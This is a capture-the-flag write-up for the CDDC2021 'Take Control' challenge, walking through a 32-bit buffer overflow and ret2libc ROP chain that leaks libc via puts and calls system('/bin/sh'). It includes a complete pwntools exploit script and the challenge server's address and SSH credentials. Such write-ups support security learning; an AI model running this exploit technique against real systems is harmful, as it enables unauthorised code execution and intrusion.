Take Control [Pwn]

5 minute read

Simple Return Oriented Programming challenge. Second pwn challenge in CDDC2021.

Challenge Description

One of TheKeepers found a file that seems too vulnerable we need your help to exploit it. Download the file and try to figure out how you can exploit it. Once you have a working exploit, execute it on the remote target.

Target: 18.136.182.104 port 60220
Username: bot
Password: GDCpa$$w0rd2021

Link: http://157.230.245.61/0x0602/Ehai8f/m2/file.zip

SHA256: 9ea8ac313a943e84e0dd2126e825232c32d7036ae43f463e1aee83dd296fac16

Solution

Download + unzip the zip file, we get a 32bit binary and libc. This strongly hints ROP. Since it is 32 bit, no gadgets are needed, and arguments just go onto the stack.

Before I did anything, I ran a quick checksec on both the files.

Binary doesn’t have PIE, great! I later found out that server has ASLR, so that means I have to leak libc base somehow…

Next thing I did was just normal protocol: fire up Ghidra.

So we can see that main elevates our privileges, then calls vuln, which is vulnerable (duhhh) to buffer overflow. The required padding is 404 bytes for the array and 8 bytes for array pointer and base pointer.

First plan is to call system("/bin/sh"), which will give us root shell.

For this, we need to find system and "/bin/sh" in libc, we can fire up gdb and verify that these two are present. It’s not in the binary itself, trust me, I’ve looked :)

One thing to note is that we need to make sure we run the binary with the libc in the current directory. So, run this:

export LD_LIBRARY_PATH=$(pwd)

Since system is not imported, we would need to leak libc base, then using the offset we have, to find the address of system during runtime. We can make use of the handy geteuid function that gets called in main which means its .plt.got entry would have already been updated, saving us one less call (which is totally insignificant but hey).

Here’s the ROP chain for leaking geteuid address.

rop.raw(OFFSET)
rop.raw(puts)
rop.raw(vuln)
rop.raw(geteuid_got)

What this does is print the contents in geteuid_got, which is the address of the GOT entry storing the address of the dynamically linked function. Then it returns back to vuln after leaking the address, for us to construct a second ROP chain.

With the address of geteuid we can calculate the libc base by subtracting away its offset. Then, we can calculate the addresses of system and "/bin/sh" trivially.

addr_line = r.recvline() # Leaked address
geteuid_addr = int.from_bytes(addr_line[0:4], 'little')

lib_base = geteuid_addr - lib_geteuid
log.info("LIBC base: %s" % hex(lib_base))

system = lib_base + lib_system

str_offset = next(libc.search(b"/bin/sh"))

sh_str = lib_base + str_offset

Finally, we spawn shell:

rop.raw(OFFSET)
rop.raw(system)
rop.raw(vuln) # filler
rop.raw(sh_str)

Too bad it failed for me and it took me more than 10 hours to realise that the libc the server uses is for amd, whilst the one they gave us is for intel. So I had to do one more step:

scp -P 60220 bot@18.136.182.104:/usr/lib32/libc.so.6 .
mv libc.so.6 amd_libc.so.6

And it finally worked…

$ cat flag.txt
CDDC21{Y0u_OverFlow_1T}

Final Script

#!/usr/bin/env python3

from pwn import *
import sys

elf = ELF("./gdc_library")
rop = ROP(elf)

if len(sys.argv) < 2 or sys.argv[1] != "remote":
    libc = ELF("./libc.so.6")
    r = process("./gdc_library")
    pause()
else:
    libc = ELF("./amd_libc.so.6")
    ssh_client = ssh(user="bot", password="GDCpa$$w0rd2021", host="18.136.182.104", port=60220)
    r = ssh_client.process("./gdc_library")


OFFSET = "A" * 404 + "B" * 8


###########################
### Important addresses ###
###########################

geteuid = elf.sym["geteuid"]
puts    = elf.sym["puts"]
vuln    = elf.sym["vuln"]

geteuid_got = elf.got["geteuid"]

lib_geteuid = libc.sym["geteuid"]
lib_system  = libc.sym["system"]


##############################
### Leak `geteuid` address ###
##############################

rop.raw(OFFSET)
rop.raw(puts)
rop.raw(vuln)
rop.raw(geteuid_got)

r.recvuntil(":")
r.send(rop.chain())


###################################
### Calculate LIBC base address ###
###################################

r.recvline() # Junk line
addr_line = r.recvline() # Leaked address
geteuid_addr = int.from_bytes(addr_line[0:4], 'little')

lib_base = geteuid_addr - lib_geteuid
log.info("LIBC base: %s" % hex(lib_base))


####################################
### Calculate required addresses ###
####################################

system = lib_base + lib_system

str_offset = next(libc.search(b"/bin/sh"))

sh_str = lib_base + str_offset


###################
### Spawn shell ###
###################

rop = ROP(elf) # new chain

rop.raw(OFFSET)
rop.raw(system)
rop.raw(vuln) # filler
rop.raw(sh_str)

r.recvuntil(":")
r.send(rop.chain())

r.interactive()

Flag: CDDC21{Y0u_OverFlow_1T}

Categories:

Updated: